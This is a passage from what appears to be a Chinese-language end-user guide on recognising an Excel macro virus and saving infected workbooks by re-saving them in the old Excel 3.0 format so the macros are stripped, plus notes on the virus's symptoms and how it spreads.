2.怎么判断一个excel有毒。如果日常生活中用不到宏，你把等级设置的高点，打开提示需要设置安全等级那么这个excel就有可能有毒。另外的话用wps打开带有宏病毒的excel,wps软件会假死重启。
第一步需要做的就是挽救文档。
先确认因为哪一个excel中的毒，中毒后编辑了哪一些excel。然后在中毒状态下打开这些excel,→另存为→excel 3.0以下版本
该宏病毒是excel 4.0版本以上可以执行，另存为3.0版本则宏内容自动过滤掉。按照软件向下兼容的原理，保存为3.0的excel可以在3.0以上的版本的excel打开，而4.0版本的excel并不能在3.0运行。
终于清除Excel宏病毒
【症状】中毒后，每次毒的影响下，多个表格不能一次性打开。
【传播和感染特点】该病毒是典型的宏病毒，一般电脑的offices都设置了中等安全，当收到一个根本不存在需要使用到宏的表格时候，却提示需要启用宏。那么该表格很有可能含有宏病毒。该病毒不改写旧有文件，只感染新创建的excel表格。所以当发现中毒后，立即查杀可以保证以后不会再度中毒。需要注意的是大多数杀毒软件会连所含有的病毒的表格文件一起删除，如果你需要表格内的文件内容就可能造成损失。特别是办公环境中，长期中毒的电脑，危害更甚。在面对保护数据+消灭病毒的难题，我们需要仔细辨别，小心杀毒。